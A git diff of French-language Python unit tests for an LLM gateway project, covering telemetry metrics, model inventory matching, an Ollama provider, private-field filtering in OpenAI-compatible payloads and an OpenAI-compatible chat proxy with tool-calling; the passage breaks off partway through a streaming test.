+ "INSERT INTO sessions (session_id, objective, status, started_at) " + "VALUES (?, ?, ?, ?)", + [ + ("s1", "objectif-1", "success", now - 3600), + ("s2", "objectif-2", "running", now - 7200), + ("s3", "objectif-3", "success", now - 3 * 86400), + ], + ) + conn.commit() + finally: + conn.close() + + # Import après override : _safe_query passe par get_connection() (base temporaire). + from api.routes.metrics import get_telemetry + + telemetry = await get_telemetry(period="24h") + + # Le KPI coût coïncide avec le tableau « Usage par modèle » (seule source : token_usage). + total_tableau = sum(m["cost_usd"] for m in telemetry["model_stats"].values()) + assert telemetry["kpis"]["total_cost_usd"] == pytest.approx(total_tableau, abs=1e-6) + # KPI sessions == sessions réellement insérées dans la fenêtre (started_at, comparaison numérique). + assert telemetry["kpis"]["total_sessions"] == 2 + # KPI tokens : somme des total_tokens de la fenêtre (150 + 300) — déjà correct, non régressé. + assert telemetry["kpis"]["total_tokens"] == 450 + # Contrat : les 3 clés gardent leur nom et leur type numérique (consommateurs `?? 0` / `|| 0`). + assert list(telemetry["kpis"].keys()) == ["total_cost_usd", "total_sessions", "total_tokens"] + for valeur in telemetry["kpis"].values(): + assert isinstance(valeur, (int, float)) + # Aucune requête signalée cassée : le zéro menteur a disparu. + assert "query_errors" not in telemetry + + +async def test_requete_invalide_remonte_une_erreur_pas_un_zero(tmp_path, caplog): + """Colonne inexistante = défaut de code : logger.error + null dans la réponse, jamais 0.""" + db = _base_au_vrai_schema(tmp_path, "metrics_menteur.db") + + # On part du vrai schéma, puis on le casse finement : retrait de cost_usd + # (colonne « argent ») de token_usage. Les index de _init_schema restent + # valides (timestamp/session_id/model intacts) : seules les requêtes de + # coût échouent, sessions et tokens restent des mesures nulles réelles. + conn = sqlite3.connect(db) + try: + conn.execute("ALTER TABLE token_usage DROP COLUMN cost_usd") + conn.commit() + finally: + conn.close() + + from api.routes.metrics import get_telemetry + + with caplog.at_level(logging.ERROR, logger="api.routes.metrics"): + telemetry = await get_telemetry(period="24h") + + # Défaut de code journalisé en ERROR (plus un simple warning étouffé). + assert any("METRICS" in record.getMessage() for record in caplog.records) + + # La mesure cassée ne rend PAS un 0 indiscernable d'une vraie mesure nulle. + assert telemetry["kpis"]["total_cost_usd"] is None + # Zéro ligne et requête cassée ne produisent plus le même affichage : + # sessions et tokens (intacts) rendent de vraies mesures nulles, 0. + assert telemetry["kpis"]["total_sessions"] == 0 + assert telemetry["kpis"]["total_tokens"] == 0 + # L'information remonte jusqu'à la réponse (champ additif, requête nommée). + assert any("token_usage" in e for e in telemetry["query_errors"]) + + +async def test_agent_name_null_est_signale_pas_un_tableau_vide(tmp_path): + """agent_name NULL côté écrivains ≠ tableau vide : compteur additif exposé.""" + db = _base_au_vrai_schema(tmp_path, "metrics_agents.db") + now = time.time() + + conn = sqlite3.connect(db) + try: + _insert_usage(conn, [ + ("s1", now - 3600, "modele-a", 100, 50, 150, 0.10, "api", None), + ("s2", now - 7200, "modele-b", 200, 100, 300, 0.20, "api", None), + ]) + conn.commit() + finally: + conn.close() + + from api.routes.metrics import get_telemetry + + telemetry = await get_telemetry(period="24h") + + # « Aucun agent renseigné » est distingué d'un tableau vide : la liste reste + # vide (pas de ligne « null » trompeuse) mais le compteur des appels sans + # agent est exposé. + assert telemetry["agent_stats"] == [] + assert telemetry["agent_stats_unassigned_count"] == 2 diff --git a/tests/unit/test_ml_router_embedding_guard.py b/tests/unit/test_ml_router_embedding_guard.py index 8a2a32c..f7d5159 100644 --- a/tests/unit/test_ml_router_embedding_guard.py +++ b/tests/unit/test_ml_router_embedding_guard.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """[#T12] Garde-fou de l'espace d'embedding du ML Router. Le provider d'embedding est re-détecté à l'inférence et peut différer de celui diff --git a/tests/unit/test_ml_router_training.py b/tests/unit/test_ml_router_training.py index 505783e..e71b108 100644 --- a/tests/unit/test_ml_router_training.py +++ b/tests/unit/test_ml_router_training.py @@ -1,7 +1,6 @@ -# -*- coding: utf-8 -*- """Tests du pipeline d'entraînement du ML Router (jointure texte↔label par hash).""" -from core.ml_router import build_training_pairs, _prompt_hash, ROUTING_CLASSES +from core.ml_router import ROUTING_CLASSES, _prompt_hash, build_training_pairs def _session(objective, status="success"): diff --git a/tests/unit/test_model_inventory.py b/tests/unit/test_model_inventory.py new file mode 100644 index 0000000..ef4a7ba --- /dev/null +++ b/tests/unit/test_model_inventory.py @@ -0,0 +1,102 @@ +""" +tests/unit/test_model_inventory.py — Croisement catalogue ↔ inventaire live (#T243). + +Le point sensible n'est pas la lecture du fichier, c'est la **distinction entre +« absent » et « on ne sait pas »**, et le détourage des identifiants : le catalogue +désambiguïse ses ids (`gemini-3.5-flash-paid`, `deepinfra/deepseek-r1`) là où l'API +annonce le nom nu. Sans détourage, une trentaine de modèles seraient signalés absents +à tort — exactement le genre de faux positif qui ferait désactiver un modèle qui marche. + +Aucun appel réseau : les instantanés sont construits à la main. +""" + +import pytest + +from core.model_inventory import _variantes, offert_par_api, resume + + +def _instantane(**providers): + return {"genere_le": "2026-08-10T09:00:00+00:00", "providers": providers} + + +# ── Ignorance vs absence ────────────────────────────────────────────────────── + + +def test_aucun_instantane_donne_none(): + """Jamais False par défaut : sans inventaire, on ne sait pas.""" + assert offert_par_api("mistral", "mistral-large-latest", None) is None + + +def test_provider_absent_de_l_instantane_donne_none(): + inst = _instantane(mistral={"statut": "OK", "offerts": ["mistral-large-latest"]}) + assert offert_par_api("cohere", "command-r-latest", inst) is None + + +@pytest.mark.parametrize("statut", ["SANS_CLE", "HTTP_404", "INJOIGNABLE", "REPONSE_ILLISIBLE"]) +def test_provider_muet_donne_none(statut): + """Un provider qui n'a pas répondu ne dit RIEN sur ses modèles.""" + inst = _instantane(github={"statut": statut, "offerts": []}) + assert offert_par_api("github", "gpt-4o", inst) is None + + +# ── Cas nominaux ────────────────────────────────────────────────────────────── + + +def test_modele_offert(): + inst = _instantane(mistral={"statut": "OK", "offerts": ["mistral-large-latest", "codestral-latest"]}) + assert offert_par_api("mistral", "mistral-large-latest", inst) is True + + +def test_modele_absent_du_listing(): + inst = _instantane(mistral={"statut": "OK", "offerts": ["mistral-large-latest"]}) + assert offert_par_api("mistral", "open-mistral-nemo", inst) is False + + +# ── Détourage des identifiants de catalogue ─────────────────────────────────── + + +@pytest.mark.parametrize( + "provider, catalogue_id, offert_api", + [ + ("gemini_paid", "gemini-3.5-flash-paid", "gemini-3.5-flash"), + ("gemini_free", "gemini-3.1-flash-lite-free", "gemini-3.1-flash-lite"), + ("deepinfra", "deepinfra/deepseek-r1", "deepseek-r1"), + ("dashscope", "dashscope/qwen3-coder-next", "qwen3-coder-next"), + ("mistral", "Mistral-Large-Latest", "mistral-large-latest"), + ], +) +def test_alias_de_catalogue_reconnus(provider, catalogue_id, offert_api): + """Un id désambiguïsé côté catalogue ne doit pas passer pour absent.""" + inst = _instantane(**{provider: {"statut": "OK", "offerts": [offert_api]}}) + assert offert_par_api(provider, catalogue_id, inst) is True + + +def test_variantes_ne_produit_pas_de_chaine_vide(): + assert "" not in _variantes("deepinfra/", "deepinfra") + + +def test_detourage_ne_rend_pas_tout_positif(): + """Le détourage ne doit pas devenir un « ça correspond à peu près ».""" + inst = _instantane(mistral={"statut": "OK", "offerts": ["mistral-large-latest"]}) + assert offert_par_api("mistral", "magistral-medium-latest", inst) is False + + +# ── Résumé ──────────────────────────────────────────────────────────────────── + + +def test_resume_sans_instantane(): + r = resume(None) + assert r["genere_le"] is None + assert r["providers_ok"] == 0 + + +def test_resume_compte_les_providers_ok(): + inst = _instantane( + mistral={"statut": "OK", "offerts": ["a", "b"]}, + github={"statut": "HTTP_404", "offerts": []}, + ) + r = resume(inst) + assert r["providers_ok"] == 1 + assert r["providers_total"] == 2 + assert r["modeles_recenses"] == 2 + assert r["par_provider"]["github"]["statut"] == "HTTP_404" diff --git a/tests/unit/test_observability.py b/tests/unit/test_observability.py index 739bd3f..8c7a7ca 100644 --- a/tests/unit/test_observability.py +++ b/tests/unit/test_observability.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """Tests du module d'observabilité (santé circuit breakers + Prometheus).""" from fastapi import FastAPI diff --git a/tests/unit/test_ollama_deck.py b/tests/unit/test_ollama_deck.py index b665451..8cdafc2 100644 --- a/tests/unit/test_ollama_deck.py +++ b/tests/unit/test_ollama_deck.py @@ -3,9 +3,9 @@ Tests unitaires pour OllamaDeckProvider et la méthode get_deck_provider() de LLMGateway. Les tests mockent requests pour ne pas dépendre du réseau. """ -import pytest from unittest.mock import MagicMock, patch +import pytest # ────────────────────────────────────────────────────────────────── # Fixtures @@ -49,15 +49,15 @@ class TestOllamaDeckProvider: def test_init_url_defaut(self, ollama_provider): """Vérifie que l'URL par défaut pointe bien vers le Deck (IP Ethernet).""" - assert "${OLLAMA_HOST:-localhost}" in ollama_provider.base_url + assert "${DECK_HOST:-192.168.1.x}" in ollama_provider.base_url assert "11434" in ollama_provider.base_url assert ollama_provider.model_name == "phi3:mini" def test_init_url_custom(self): """Vérifie qu'on peut surcharger l'hôte et le modèle.""" from core.llm_gateway import OllamaDeckProvider - p = OllamaDeckProvider(host="localhost", port=11434, model_name="gemma2:2b") - assert "localhost" in p.base_url + p = OllamaDeckProvider(host="${DECK_HOST_WIFI:-192.168.1.x}", port=11434, model_name="gemma2:2b") + assert "${DECK_HOST_WIFI:-192.168.1.x}" in p.base_url assert p.model_name == "gemma2:2b" def test_ping_available_deck_joignable(self, ollama_provider, mock_tags_ok): @@ -76,14 +76,15 @@ def test_ping_available_deck_hors_ligne(self, ollama_provider): def test_ping_available_basculement_wifi(self): """Test que ping_available() bascule automatiquement vers l'IP Wi-Fi si Ethernet échoue.""" import requests + from core.llm_gateway import OllamaDeckProvider - p = OllamaDeckProvider(host="${OLLAMA_HOST:-localhost}") + p = OllamaDeckProvider(host="${DECK_HOST:-192.168.1.x}") mock_tags_wifi = MagicMock() mock_tags_wifi.status_code = 200 def mock_get_side_effect(url, **kwargs): - if "${OLLAMA_HOST:-localhost}" in url: + if "${DECK_HOST:-192.168.1.x}" in url: raise requests.exceptions.ConnectTimeout return mock_tags_wifi # Wi-Fi répond @@ -92,7 +93,7 @@ def mock_get_side_effect(url, **kwargs): assert result is True # Vérifier que l'IP a bien basculé vers le Wi-Fi - assert "localhost" in p.base_url + assert "${DECK_HOST_WIFI:-192.168.1.x}" in p.base_url def test_generate_reponse_ok(self, ollama_provider, mock_response_ok): """Test generate() avec une réponse Ollama valide.""" @@ -196,7 +197,7 @@ def test_get_deck_provider_disponible(self): def test_get_deck_provider_hors_ligne(self): """Test que get_deck_provider() retourne None quand le Deck est hors ligne.""" - from core.llm_gateway import OllamaDeckProvider, LLMGateway + from core.llm_gateway import LLMGateway, OllamaDeckProvider gw = MagicMock() gw.providers = {"deck_ollama": OllamaDeckProvider()} gw.get_deck_provider = LLMGateway.get_deck_provider.__get__(gw) diff --git a/tests/unit/test_openai_compat_provider.py b/tests/unit/test_openai_compat_provider.py new file mode 100644 index 0000000..1f890e5 --- /dev/null +++ b/tests/unit/test_openai_compat_provider.py @@ -0,0 +1,147 @@ +""" +test_openai_compat_provider.py — Tests du filtrage des champs privés (#T263). + +Le round-trip d'outils Gemini porte la thought_signature dans un champ privé +"_thought_signature" des tool_calls. Ce champ est interne au moteur : il ne +doit JAMAIS partir dans le payload des providers OpenAI-compatibles, qui +peuvent rejeter un champ inconnu (erreur 400). Vérifie que le filtre est +appliqué avant l'envoi HTTP. +""" + +import json +import os +import sys +from unittest.mock import AsyncMock, MagicMock, patch + +# Ajout du répertoire parent au PYTHONPATH +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.openai_compat_provider import OpenAICompatibleProvider, filtrer_champs_prives + +# ────────────────────────────────────────────────────────────────── +# Tests : filtrer_champs_prives (fonction pure) +# ────────────────────────────────────────────────────────────────── + +class TestFiltrerChampsPrives: + """Vérifie le retrait des champs privés (préfixe \"_\") des messages.""" + + def test_strip_private_field_from_message(self): + """Un champ privé au niveau du message est retiré, le reste est intact.""" + messages = [{ + "role": "assistant", + "content": "Bonjour", + "_metadata_interne": {"cache": "abc"}, + }] + nettoyes = filtrer_champs_prives(messages) + assert "_metadata_interne" not in nettoyes[0] + assert nettoyes[0]["role"] == "assistant" + assert nettoyes[0]["content"] == "Bonjour" + + def test_strip_private_field_from_tool_calls(self): + """La _thought_signature des tool_calls ne doit pas partir à l'extérieur.""" + messages = [{ + "role": "assistant", + "content": "", + "tool_calls": [{ + "id": "call_gemini_0_123", + "type": "function", + "function": {"name": "get_weather", "arguments": "{\"city\": \"Paris\"}"}, + "_thought_signature": "signature-AAAA", + }], + }] + nettoyes = filtrer_champs_prives(messages) + tc = nettoyes[0]["tool_calls"][0] + assert "_thought_signature" not in tc + assert tc["id"] == "call_gemini_0_123" + assert tc["function"]["name"] == "get_weather" + + def test_strip_does_not_alter_standard_fields(self): + """Aucun champ standard OpenAI ne commence par \"_\" : rien ne bouge.""" + messages = [{ + "role": "user", + "content": "Salut", + "tool_calls": None, + }] + nettoyes = filtrer_champs_prives(messages) + assert nettoyes == messages + + def test_empty_list(self): + """Une liste vide reste vide, sans exception.""" + assert filtrer_champs_prives([]) == [] + + +# ────────────────────────────────────────────────────────────────── +# Tests : application dans generate() (pas de fuite dans le payload) +# ────────────────────────────────────────────────────────────────── + +class TestNoLeakInPayload: + """Vérifie que le payload HTTP ne contient jamais le champ privé.""" + + def _provider(self): + return OpenAICompatibleProvider( + provider_name="TestProvider", + base_url="http://fake.local/v1/chat/completions", + api_key="cle-test-fake", + model="modele-test", + ) + + @patch("core.openai_compat_provider.SharedHTTPPool.get_session") + def test_generate_payload_without_private_field(self, mock_get_session): + """generate() n'envoie pas la _thought_signature dans le payload.""" + mock_response = MagicMock() + mock_response.json.return_value = { + "choices": [{"message": {"content": "Bonjour"}}], + "usage": {"prompt_tokens": 5, "completion_tokens": 3}, + } + mock_get_session.return_value.post.return_value = mock_response + + messages = [ + {"role": "user", "content": "Météo à Paris ?"}, + {"role": "assistant", "content": "", + "tool_calls": [{ + "id": "call_gemini_0_123", + "type": "function", + "function": {"name": "get_weather", "arguments": "{\"city\": \"Paris\"}"}, + "_thought_signature": "signature-AAAA", + }]}, + ] + provider = self._provider() + provider.generate("", "Météo à Paris ?", messages=messages) + + payload = mock_get_session.return_value.post.call_args.kwargs["json"] + # Le payload sérialisé ne doit JAMAIS contenir la signature privée + assert "_thought_signature" not in json.dumps(payload) + # Le reste du tool_call est bien transmis (format OpenAI standard) + tc = payload["messages"][1]["tool_calls"][0] + assert tc["function"]["name"] == "get_weather" + + @patch("core.openai_compat_provider.SharedAsyncHTTPPool.get_client") + def test_generate_async_payload_without_private_field(self, mock_get_client): + """generate_async() n'envoie pas la _thought_signature non plus.""" + import asyncio + + async def _run(): + mock_response = MagicMock() + mock_response.json.return_value = { + "choices": [{"message": {"content": "Bonjour"}}], + "usage": {"prompt_tokens": 5, "completion_tokens": 3}, + } + mock_get_client.return_value.post = AsyncMock(return_value=mock_response) + + messages = [{ + "role": "assistant", + "content": "", + "tool_calls": [{ + "id": "call_gemini_0_123", + "type": "function", + "function": {"name": "get_weather", "arguments": "{}"}, + "_thought_signature": "signature-AAAA", + }], + }] + provider = self._provider() + await provider.generate_async("", "Météo ?", messages=messages) + + payload = mock_get_client.return_value.post.call_args.kwargs["json"] + assert "_thought_signature" not in json.dumps(payload) + + asyncio.run(_run()) diff --git a/tests/unit/test_openai_proxy.py b/tests/unit/test_openai_proxy.py new file mode 100644 index 0000000..76a6042 --- /dev/null +++ b/tests/unit/test_openai_proxy.py @@ -0,0 +1,524 @@ +""" +tests/unit/test_openai_proxy.py — Proxy OpenAI-compatible (/v1) pour IDEs. + +Le fichier `api/routes/openai_proxy.py` n'avait aucun test. Ceux-ci couvrent la +« fondation » sur laquelle repose tout branchement d'un agent de code : + +1. Le mapping des messages. Avant, user/assistant/tool étaient concaténés en un + seul bloc passé comme `user_prompt` : les rôles disparaissaient, donc le + multi-tours aussi — et le tool-calling, qui exige de renvoyer des messages + `role: "tool"`, était structurellement impossible. +2. La résolution du modèle. Avant, un modèle inconnu était servi par le PREMIER + provider du registre, la réponse étant tout de même étiquetée du nom demandé. +3. Le passage par `get_provider()`, donc par le Circuit Breaker / la cascade / + le cache — contournés par l'accès brut `gw.providers[...]` (même classe de + bug que #T212 côté Planner). +""" + +import pytest + +from api.routes import openai_proxy +from api.routes.openai_proxy import ( + ChatMessage, + ModeleInconnuError, + _convertir_messages, + _extraire_reponse, + _resoudre_provider, + _texte_du_contenu, +) + +# ────────────────────────────────────────────────────────────────── +# Aplatissement du contenu +# ────────────────────────────────────────────────────────────────── + +def test_contenu_chaine_simple(): + assert _texte_du_contenu("bonjour") == "bonjour" + + +def test_contenu_none_devient_chaine_vide(): + assert _texte_du_contenu(None) == "" + + +def test_contenu_multimodal_en_liste_de_parts(): + """Le typage `str | None` faisait échouer ces requêtes en 422.""" + contenu = [ + {"type": "text", "text": "décris cette image"}, + {"type": "image_url", "image_url": {"url": "data:..."}}, + {"type": "text", "text": "en français"}, + ] + assert _texte_du_contenu(contenu) == "décris cette image\nen français" + + +# ────────────────────────────────────────────────────────────────── +# Mapping des messages +# ────────────────────────────────────────────────────────────────── + +def test_les_roles_sont_preserves_dans_messages(): + messages = [ + ChatMessage(role="system", content="Tu es un assistant."), + ChatMessage(role="user", content="salut"), + ChatMessage(role="assistant", content="bonjour"), + ChatMessage(role="user", content="quelle heure ?"), + ] + system_prompt, transcript, messages_provider = _convertir_messages(messages) + + assert system_prompt == "Tu es un assistant." + assert [m["role"] for m in messages_provider] == ["system", "user", "assistant", "user"] + assert [m["content"] for m in messages_provider] == [ + "Tu es un assistant.", "salut", "bonjour", "quelle heure ?", + ] + # Le transcript de repli distingue les rôles au lieu de tout aplatir. + assert "Utilisateur : salut" in transcript + assert "Assistant : bonjour" in transcript + + +def test_message_tool_conserve_son_role_et_son_id(): + """Prérequis du tool-calling : un `role: tool` doit rester un `role: tool`.""" + messages = [ + ChatMessage(role="user", content="météo ?"), + ChatMessage(role="assistant", content=None, tool_calls=[ + {"id": "call_1", "type": "function", "function": {"name": "get_weather", "arguments": "{}"}}, + ]), + ChatMessage(role="tool", content="21°C", tool_call_id="call_1", name="get_weather"), + ] + _, transcript, messages_provider = _convertir_messages(messages) + + assert messages_provider[1]["role"] == "assistant" + assert messages_provider[1]["tool_calls"][0]["id"] == "call_1" + assert messages_provider[2]["role"] == "tool" + assert messages_provider[2]["tool_call_id"] == "call_1" + assert messages_provider[2]["name"] == "get_weather" + # Même le repli textuel mentionne l'appel d'outil au lieu de le perdre. + assert "get_weather" in transcript + + +def test_plusieurs_messages_system_sont_fusionnes(): + messages = [ + ChatMessage(role="system", content="Règle A."), + ChatMessage(role="system", content="Règle B."), + ChatMessage(role="user", content="ok"), + ] + system_prompt, _, messages_provider = _convertir_messages(messages) + + assert system_prompt == "Règle A.\nRègle B." + assert messages_provider[0] == {"role": "system", "content": "Règle A.\nRègle B."} + assert len([m for m in messages_provider if m["role"] == "system"]) == 1 + + +def test_sans_message_system_aucune_entree_system(): + _, _, messages_provider = _convertir_messages([ChatMessage(role="user", content="salut")]) + assert [m["role"] for m in messages_provider] == ["user"] + + +def test_conversation_sans_tour_utilisateur_donne_un_transcript_vide(): + """C'est ce que l'endpoint traduit en 400.""" + _, transcript, _ = _convertir_messages([ChatMessage(role="system", content="Tu es un assistant.")]) + assert transcript == "" + + +# ────────────────────────────────────────────────────────────────── +# Résolution du modèle +# ────────────────────────────────────────────────────────────────── + +class _FauxGateway: + """Gateway minimal : `providers` brut + get_provider() qui lève sur inconnu.""" + + def __init__(self): + self.providers = {"modele-a": "PROVIDER_A", "modele-b": "PROVIDER_B"} + self.appels_get_provider = [] + self.appels_tier = [] + + def get_provider(self, name): + self.appels_get_provider.append(name) + cible = self.providers.get(name.lower()) + if cible is None: + raise ValueError(f"Provider LLM inconnu : {name}") + return f"CASCADE({cible})" # get_provider enveloppe dans un FallbackProvider + + def get_provider_for_tier(self, tier, config): + self.appels_tier.append(tier) + return f"tier-{tier}", "CASCADE(TIER)" + + +def test_modele_connu_passe_par_get_provider_pas_par_le_registre_brut(): + """Le wrapping FallbackProvider (Circuit Breaker, retry 429, cache) en dépend.""" + gw = _FauxGateway() + assert _resoudre_provider(gw, "modele-a") == "CASCADE(PROVIDER_A)" + assert gw.appels_get_provider == ["modele-a"] + + +def test_modele_inconnu_leve_au_lieu_de_servir_un_provider_arbitraire(): + """Régression centrale : avant, on répondait avec le premier provider du + registre tout en étiquetant la réponse du nom demandé.""" + gw = _FauxGateway() + with pytest.raises(ModeleInconnuError): + _resoudre_provider(gw, "modele-qui-nexiste-pas") + assert gw.appels_tier == [], "un modèle inconnu ne doit pas être traité comme un tier" + + +def test_casse_du_nom_de_modele_toleree(): + """`get_provider` normalise en minuscules ; le test d'appartenance d'avant non.""" + gw = _FauxGateway() + assert _resoudre_provider(gw, "Modele-A") == "CASCADE(PROVIDER_A)" + + +@pytest.mark.parametrize("tier", ["leger", "moyen", "fort", "automatique", "pro", "FLASH"]) +def test_les_tiers_sont_resolus_comme_tiers(tier, monkeypatch): + monkeypatch.setattr("core.llm_gateway.load_config", lambda: {}, raising=False) + gw = _FauxGateway() + assert _resoudre_provider(gw, tier) == "CASCADE(TIER)" + assert gw.appels_tier == [tier] + assert gw.appels_get_provider == [] + + +def test_les_tiers_annonces_sont_ceux_acceptes(): + """Le message de la 404 renvoie vers /v1/models : les tiers doivent y figurer.""" + tiers_listes = {"leger", "moyen", "fort", "automatique"} + assert tiers_listes <= openai_proxy._TIERS_ROUTAGE + + +# ────────────────────────────────────────────────────────────────── +# Format d'erreur +# ────────────────────────────────────────────────────────────────── + +def test_erreur_au_format_openai(): + import json + + reponse = openai_proxy._erreur_openai(404, "pas trouvé", code="model_not_found", param="model") + assert reponse.status_code == 404 + corps = json.loads(bytes(reponse.body)) + assert corps["error"]["code"] == "model_not_found" + assert corps["error"]["param"] == "model" + assert corps["error"]["type"] == "invalid_request_error" + assert corps["error"]["message"] == "pas trouvé" + + +# ────────────────────────────────────────────────────────────────── +# Endpoint complet (POST /v1/chat/completions) +# ────────────────────────────────────────────────────────────────── + +class _ProviderEspion: + """Capture les arguments reçus par generate() / generate_stream().""" + + def __init__(self, reponse="réponse du modèle"): + self.reponse = reponse + self.appels = [] + self.appels_stream = [] + + def generate(self, system_prompt, user_prompt, **kwargs): + self.appels.append({"system": system_prompt, "user": user_prompt, **kwargs}) + return self.reponse + + def generate_stream(self, system_prompt, user_prompt, **kwargs): + # Streaming minimal : toute la réponse en un token (contrat du moteur : + # dict {"token", "done", "usage"}). Le vrai token-par-token est couvert + # par test_openai_proxy_streaming.py. + self.appels_stream.append({"system": system_prompt, "user": user_prompt, **kwargs}) + yield {"token": str(self.reponse), "done": True, "usage": None} + + +@pytest.fixture +def client(monkeypatch): + """App FastAPI minimale portant uniquement le routeur du proxy.""" + from fastapi import FastAPI + from fastapi.testclient import TestClient + + espion = _ProviderEspion() + + class _Gateway: + def __init__(self): + self.providers = {"modele-a": object(), "modele-b": object()} + + def get_provider(self, name): + if name.lower() not in self.providers: + raise ValueError(f"Provider LLM inconnu : {name}") + return espion + + def get_provider_for_tier(self, tier, config): + return f"tier-{tier}", espion + + monkeypatch.setattr("core.llm_gateway.LLMGateway", _Gateway, raising=False) + monkeypatch.setattr("core.llm_gateway.load_config", lambda: {}, raising=False) + + app = FastAPI() + app.include_router(openai_proxy.router) + client = TestClient(app) + client.espion = espion + return client + + +def test_endpoint_transmet_la_conversation_avec_ses_roles(client): + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [ + {"role": "system", "content": "Tu es un assistant."}, + {"role": "user", "content": "écris une fonction"}, + {"role": "assistant", "content": "def f(): pass"}, + {"role": "user", "content": "ajoute un test"}, + ], + }) + assert reponse.status_code == 200 + corps = reponse.json() + assert corps["choices"][0]["message"]["content"] == "réponse du modèle" + assert corps["model"] == "modele-a" + + appel = client.espion.appels[0] + assert [m["role"] for m in appel["messages"]] == ["system", "user", "assistant", "user"] + assert appel["messages"][2]["content"] == "def f(): pass" + + +def test_endpoint_404_sur_modele_inconnu(client): + """Avant : 200 avec la réponse d'un autre provider, étiquetée du nom demandé.""" + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-qui-nexiste-pas", + "messages": [{"role": "user", "content": "salut"}], + }) + assert reponse.status_code == 404 + assert reponse.json()["error"]["code"] == "model_not_found" + assert client.espion.appels == [], "aucun provider ne doit être appelé" + + +def test_endpoint_400_sans_message_utilisateur(client): + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "system", "content": "Tu es un assistant."}], + }) + assert reponse.status_code == 400 + + +def test_endpoint_accepte_le_contenu_multimodal(client): + """Ces requêtes échouaient en 422 (validation Pydantic) avant.""" + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "user", "content": [{"type": "text", "text": "salut"}]}], + }) + assert reponse.status_code == 200 + assert client.espion.appels[0]["messages"][0]["content"] == "salut" + + +def test_endpoint_accepte_un_tier_comme_modele(client): + reponse = client.post("/v1/chat/completions", json={ + "model": "fort", + "messages": [{"role": "user", "content": "salut"}], + }) + assert reponse.status_code == 200 + assert reponse.json()["model"] == "fort" + + +def test_v1_models_liste_providers_et_tiers(client): + reponse = client.get("/v1/models") + assert reponse.status_code == 200 + ids = {m["id"] for m in reponse.json()["data"]} + assert {"modele-a", "modele-b"} <= ids + assert {"leger", "moyen", "fort", "automatique"} <= ids + + +def test_endpoint_streaming_reste_fonctionnel(client): + """Contrat SSE : le contenu part en chunks via generate_stream, et le flux + se termine par [DONE] (le token-par-token est couvert par + test_openai_proxy_streaming.py).""" + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "user", "content": "salut"}], + "stream": True, + }) + assert reponse.status_code == 200 + corps = reponse.text + assert "réponse du modèle" in corps + assert corps.rstrip().endswith("data: [DONE]") + + +# ────────────────────────────────────────────────────────────────── +# Tool-calling +# ────────────────────────────────────────────────────────────────── + +def _message_avec_outil(): + """Ce que renvoie un provider quand le modèle décide d'appeler un outil.""" + return { + "role": "assistant", + "content": None, + "tool_calls": [{ + "id": "call_1", + "type": "function", + "function": {"name": "read_file", "arguments": '{"path": "a.py"}'}, + }], + } + + +def test_appel_doutil_nest_plus_transforme_en_texte_none(): + """Régression centrale : `.get("content", defaut)` renvoie None quand la clé + EXISTE avec la valeur None — la forme exacte d'un appel d'outil. L'IDE + recevait la chaîne littérale "None" à la place de l'appel.""" + texte, tool_calls = _extraire_reponse(_message_avec_outil()) + + assert texte == "" + assert tool_calls is not None + assert tool_calls[0]["function"]["name"] == "read_file" + + +def test_reponse_texte_simple_inchangee(): + assert _extraire_reponse("bonjour") == ("bonjour", None) + + +def test_reponse_dict_avec_contenu_et_outils(): + brut = {"role": "assistant", "content": "je regarde", "tool_calls": _message_avec_outil()["tool_calls"]} + texte, tool_calls = _extraire_reponse(brut) + assert texte == "je regarde" + assert len(tool_calls) == 1 + + +def test_dict_sans_contenu_ni_outil_est_serialise_pas_perdu(): + texte, tool_calls = _extraire_reponse({"inattendu": 1}) + assert "inattendu" in texte + assert tool_calls is None + + +def test_normalisation_ajoute_index_et_type(): + """Les clients recollent les fragments de streaming par `index`.""" + normalises = openai_proxy._normaliser_tool_calls([ + {"function": {"name": "a", "arguments": "{}"}}, + {"function": {"name": "b", "arguments": "{}"}}, + ]) + assert [tc["index"] for tc in normalises] == [0, 1] + assert all(tc["type"] == "function" for tc in normalises) + assert all(tc["id"] for tc in normalises) + + +def test_normalisation_serialise_les_arguments_dict(): + """`arguments` doit être une chaîne JSON côté OpenAI ; certains providers + renvoient un dict.""" + import json as _json + + normalises = openai_proxy._normaliser_tool_calls([ + {"function": {"name": "a", "arguments": {"path": "a.py"}}}, + ]) + assert _json.loads(normalises[0]["function"]["arguments"]) == {"path": "a.py"} + + +def test_arguments_absents_deviennent_objet_json_vide(): + normalises = openai_proxy._normaliser_tool_calls([{"function": {"name": "a"}}]) + assert normalises[0]["function"]["arguments"] == "{}" + + +def test_endpoint_transmet_les_outils_au_provider(client): + outils = [{"type": "function", "function": {"name": "read_file", "parameters": {}}}] + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "user", "content": "lis a.py"}], + "tools": outils, + "tool_choice": "auto", + }) + assert reponse.status_code == 200 + + appel = client.espion.appels[0] + assert appel["tools"] == outils, "les outils étaient déclarés puis jetés avant" + assert appel["tool_choice"] == "auto" + + +def test_endpoint_nenvoie_pas_de_cle_tools_sans_outils(client): + """Un `tools=None` transmis casserait les providers qui testent `\"tools\" in kwargs`.""" + client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "user", "content": "salut"}], + }) + assert "tools" not in client.espion.appels[0] + assert "tool_choice" not in client.espion.appels[0] + + +def test_endpoint_remonte_les_tool_calls_au_format_openai(client): + client.espion.reponse = _message_avec_outil() + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "user", "content": "lis a.py"}], + "tools": [{"type": "function", "function": {"name": "read_file", "parameters": {}}}], + }) + assert reponse.status_code == 200 + + choix = reponse.json()["choices"][0] + assert choix["finish_reason"] == "tool_calls" + assert choix["message"]["content"] is None + assert choix["message"]["tool_calls"][0]["function"]["name"] == "read_file" + + +def test_endpoint_streaming_porte_les_tool_calls(client): + client.espion.reponse = _message_avec_outil() + reponse = client.post("/v1/chat/completions", json={ + "model": "modele-a", + "messages": [{"role": "user", "content": "lis a.py"}], + "tools": [{"type": "function", "function": {"name": "read_file", 